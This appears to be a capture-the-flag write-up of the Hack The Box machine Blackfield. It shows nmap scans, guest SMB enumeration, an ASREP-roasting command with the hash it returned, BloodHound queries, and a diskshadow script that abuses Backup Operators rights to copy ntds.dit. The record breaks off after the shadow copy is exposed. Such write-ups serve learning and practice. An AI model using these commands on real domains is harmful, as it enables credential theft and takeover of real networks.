Backfield is a hard difficulty Windows machine featuring Windows and Active Directory misconfigurations. Anonymous / Guest access to an SMB share is used to enumerate users. Once user is found to have Kerberos pre-authentication disabled, which allows us to conduct an ASREPRoasting attack. This allows us to retrieve a hash of the encrypted material contained in the AS-REP, which can be subjected to an offline brute force attack in order to recover the plaintext password. With this user we can access an SMB share containing forensics artefacts, including an lsass process dump. This contains a username and a password for a user with WinRM privileges, who is also a member of the Backup Operators group. The privileges conferred by this privileged group are used to dump the Active Directory database and retrieve the hash of the primary domain administrator.
Enumeration
Scope
IP Address: 10. 10.10.192
Nmap Scan
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ nmap -p- --min-rate 10000 $ip -Pn
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
389/tcp open ldap syn-ack
445/tcp open microsoft-ds syn-ack
593/tcp open http-rpc-epmap syn-ack
3268/tcp open globalcatLDAP syn-ack
5985/tcp open wsman syn-ack
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ nmap -p53,88,135,389,445,593,3268,5985 -sCV $ip -Pn -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-12 23:31:40Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m02s
| smb2-time:
| date: 2024-07-12T23:31:51
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
* Open ports: 53,88,135,389,445,593,3268,5985
* Services: DNS - KERBEROS - RPC - SMB - winRM
* Important Notes: Domain: BLACKFIELD.local
RPC Enumeration
SMB Enumeration
When I connected to smb server with anonymous login, it failed
However, when I attempted to authenticate with guest account, I got a hit
smbclient shows the same results, too
I mounted the share to my kali machine to explore it easily
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/BlackField]
└─$ sudo mount -t cifs "\\\\$ip\\profiles$" ./mount
Password for root@\\10.10.10.192\profiles$:
The folders have names of humans which can be users' home directories, So I will append these names to a list and attempt it against Kerberos to find valid usernames
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/BlackField]
└─$ ls mount | tee -a users.lst
<snip>
Kerberos Enumeration
I found three valid users with kerbrute
When I attempted ASREP-Roasting attack against these users, I got a hash of user support
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/BlackField]
└─$ impacket-GetNPUsers BLACKFIELD.local/ -dc-ip $ip -no-pass -request -format hashcat -usersfile users.txt
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD.LOCAL:30c1b9d2109600c3ebb0e38fb20ab14d$4473af423266d56382e57fc031bae65483b913e45c4a0efcf25fb62008518a2a385360f1d5a5bdd1cec5adb730154b1108bf3739f84ea86e3d4d62fe0ba6d1bcf74e09831c8d5ecc2aa0135f848d34a3e6e961a6faecb4b74298262263c9184ffc5aa4b9ae0f81330e08915a1892ebc53551bd39e1040a6218f0cd4e580483fb3c584b60dda863a39134a4cfa4eb573c5dfabebcc54120404f33169419086a3ae31382ebd3b05c29e3e525459991fcfc9a65d4cc764b6e7a714a0a39616f794884dd1eee275ceb091ce8bc4f2a1de7a0cdeb43b418d03a706dd3b3a9d3d70353fc94e9084892e3a038c711c395430c1dcf3277b9
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
Looking at bloodhound, I found that suppport can Chane password of audit2020
I provide a custom query to bloodhound to see what user can PSRemote to the machine
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
I searched for a way to change user's password from without access to the machine and I found this command from this post: https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
svc_backup is a member of privileged group Backup operators which can be abused to get Domain admin privileges.
I will create a backup of ntds.dit as shadow copy with diskshadow.exe. create this file that contains commands for diskshadow utility
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit
I run an issue when running diskshadow, So I asked the community, and the solution was in endiness of the file and can be solved by this command
unix2dos vss.dsh
Create a shadow copy
*Evil-WinRM* PS C:\Users\svc_backup\Documents> diskshadow /s .\vss.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 7/12/2024 7:46:57 PM
-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias cdrive
-> create
The shadow copy was successfully exposed as E:\.
-> end backup
-> exit
